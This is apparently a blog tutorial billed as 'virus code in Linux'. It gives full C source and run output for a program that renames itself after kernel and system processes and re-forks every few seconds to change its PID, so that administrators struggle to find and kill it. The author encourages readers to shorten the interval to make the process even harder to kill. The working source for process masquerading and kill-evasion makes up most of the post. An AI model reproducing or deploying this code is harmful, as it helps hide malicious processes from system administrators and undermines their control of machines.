After writing my previous article Virus Code in Linux - C Code That Changes it's Process Name Run Time, I wondered if a process can change its name then why cannot it change its PID. And what if a process can change both its name and PID after lets say every 1 second? Well it will be a difficult task for a system administrator to kill that process. SO I decided to go ahead with the Idea. Lets see what I did... The Code Here is the code for a program that changes its name and PID after every 5 seconds. I chose 5 seconds as its relatively easy for a user to kill this program once its run. If some one likes this code and wants to use it. He/she can reduce the sleep() time to 1 second and then run the code. Code: #include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> #include<sys/types.h> void change_pid() { pid_t pid; // This function will replace the existing process image by // a new process image. For all those who are new to fork() // please refer to its man page and try out a few basic // exercise to understand what this system call does. Just // from the fact that this system call is made once but it // returns twice, I must say that its not a trivial system // call to understand. pid = fork(); if(0 == pid) { // pid ==0 means that this is child. Just print a log and // do nothing here. Our motive was to create a new PID // Which was only possible if we could create a new process // image using fork. We did it successfully here. printf("\n Child process created!!!!!\n"); } else { // This is the parent process, with old PID. We do not need // it anymore so just exit from this. printf("\n Created a new process, Exiting!!!!!\n"); exit(0); } } void change_name(char *argv[]) { char buff[1024]; // Buffer to read lines char new_name[1028]; // Buffer to store new process name char *ptr = NULL; FILE *fp = NULL; a: memset(buff,'\0', sizeof(buff)); // Setting the memory with NULLs memset(new_name,'\0', sizeof(new_name)); // Setting the memory with NULLs // Introduce constant 3 bytes '123' in the begining // of every process name that we change our process name to. // So that we can at least easily track our process name // when we check it using ps command. Note that // this is only for practice purpose otherwise there // is no need for a set of constant bytes like these. new_name[0] = '1'; new_name[1] = '2'; new_name[2] = '3'; // Run the command 'ps -aef > ps.txt' // This command will store the result of 'ps -aef' in a text file 'ps.txt' // The files would have entries like : // UID PID PPID C STIME TTY TIME CMD // root 1 0 0 20:49 ? 00:00:00 /sbin/init // root 2 0 0 20:49 ? 00:00:00 [kthreadd] // root 3 2 0 20:49 ? 00:00:00 [migration/0] // root 4 2 0 20:49 ? 00:00:00 [ksoftirqd/0] system("/bin/sh -c 'ps -aef > ps.txt'"); // Open the file 'ps.txt' fp = fopen("ps.txt", "r"); if(NULL == fp) { printf("\n File open failed\n"); //return -1; } // Get each line from file until the whole file is read or some error occurs while(NULL != fgets(buff, sizeof(buff), fp)) { // Search for the character '[' in the line fetched from file. // This is because most of the process names are enclosed in '[' brackets. // For example : // root 2 0 0 20:49 ? 00:00:00 [kthreadd] ptr = strchr(buff, '['); unsigned int len = strlen(buff); if(NULL == ptr) { // Search for the character '/' in the line fetched from file. // This is because many of the process names are start with '/'. // For example : // root 1 0 0 20:49 ? 00:00:00 /sbin/init ptr = strchr(buff, '/'); } if(NULL != ptr) { // If any one of '[' or '/' is found than copy the complete process // name in the buffer which already holds 123 as its first three bytes. // Make sure that you do not overwrite the first three bytes of the buffer // new_name which contains 123 as its first three bytes strncat((new_name+3), ptr, ((buff + len-1) - ptr)); } else { // If the line fetched does not contain either of '[' or '/' // Then use a default process name '/bin/bash' ptr = "/bin/bash"; strncpy((new_name+3), ptr, strlen(ptr)); } // Since by now we have the new_name buffer filled with // new process name so copy this name to arg[0] so as to // change our process name. strncpy(argv[0], new_name, sizeof(new_name)); printf("\n %s \n", new_name); // Call this function to change the PID of the process by // forking a new process. When the flow would return from // this function, the process would be different and hence // its PID would be different. change_pid(); //A delay of one second so that you can run the command 'ps -aef' // and check the new name of our process and its new PID. Note // that it is very now difficult to kill this process through // ctrl+c as somehow its getting ignored (I will research more // on this and will come back with analysis soon). I have kept // the sleep interval to be 5 sec because the more I reduce it, // the more difficult is for the user to kill it using : // kill -9 <PID> // as PID keeps on changing within seconds. sleep(5); //Time to fetch a new line from ps.txt so just reset // the buffer new_name with NULL bytes except the first // three bytes which are '123'. memset((new_name+3),'\0', sizeof(new_name)); } // Seems like either we are done reading all the lines // from ps.txt or fgets() encountered some error. In either // of the case, just close the file descriptor fclose(fp); // Since we do not want to stop even now, so lets re run the // whole cycle again from running the command 'ps -aef > ps.txt' // to reading each line using fgets() and changing the our process // name accordingly goto a; } int main(int argc, char* argv[]) { change_name(argv); return 0; } In this code, I created two functions : change_name() -> for continuously changing the name change_pid() -> for continuously changing the PID of the process Now, once a name is changes successfully, a call to change_pid() is made so that the a new process with new pid which will execute the same code gets created while the old process is terminated. Rest of the explanation I have provided as comments in the code itself. Output Now, the interesting part, lets run the code and see the output : Code: ~/practice $ ./namepid 123/bin/bash Created a new process, Exiting!!!!! Child process created!!!!! ~/practice $ 123/sbin/init Created a new process, Exiting!!!!! Child process created!!!!! 123[kthreadd] Created a new process, Exiting!!!!! Child process created!!!!! 123[migration/0] Created a new process, Exiting!!!!! Child process created!!!!! 123[ksoftirqd/0] Created a new process, Exiting!!!!! Child process created!!!!! 123[watchdog/0] Created a new process, Exiting!!!!! Child process created!!!!! 123[migration/1] Created a new process, Exiting!!!!! Child process created!!!!! 123[ksoftirqd/1] Created a new process, Exiting!!!!! Child process created!!!!! 123[watchdog/1] Created a new process, Exiting!!!!! Child process created!!!!! 123[events/0] Created a new process, Exiting!!!!! Child process created!!!!! 123[events/1] Created a new process, Exiting!!!!! Child process created!!!! When the code was executed, it started changing its name and its conveying that it is successfully changing its PID. Now I opened another terminal and checked the PID using the command ps -aef and running this command after every 5 seconds and I conformed that the PID was actually changing. Now I tried to kill it using ctrl+c : Code: 123[cpuset] Created a new process, Exiting!!!!! Child process created!!!!! 123[khelper] Created a new process, Exiting!!!!! Child process created!!!!! 123[netns] Created a new process, Exiting!!!!! Child process created!!!!! ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ ^C ~/practice $ 123[async/mgr] Created a new process, Exiting!!!!! Child process created!!!!! 123[pm] Created a new process, Exiting!!!!! Child process created!!!!! 123[sync_supers] Created a new process, Exiting!!!!! Child process created!!!!! 123[bdi-default] Created a new process, Exiting!!!!! Child process created!!!!! 123[kintegrityd/0] Created a new process, Exiting!!!!! Child process created!!!!! 123[kintegrityd/1] Created a new process, Exiting!!!!! Child process created!!!!! 123[kblockd/0] Created a new process, Exiting!!!!! Child process created!!!!! But as you can see from the output, it kept on executing. This is something which I need to investigate that why SIGINT is being ignored here. Anyways after multiple tries, I was able to kill the process using : kill -9 <PID-of-process> Why it took multiple tries was because by the time I found the PID and wrote the above command, the PID use to get changed. But any how I got success. Thats why I was thinking that If the sleep() time is reduced to '1' sec then it will become very very difficult to kill the process. Conclusion To Conclude, In this article I extended my previous article where a process could change its name continuously on run time to a process which can now change its PID along with its name at run time. Stay tuned for more!!!!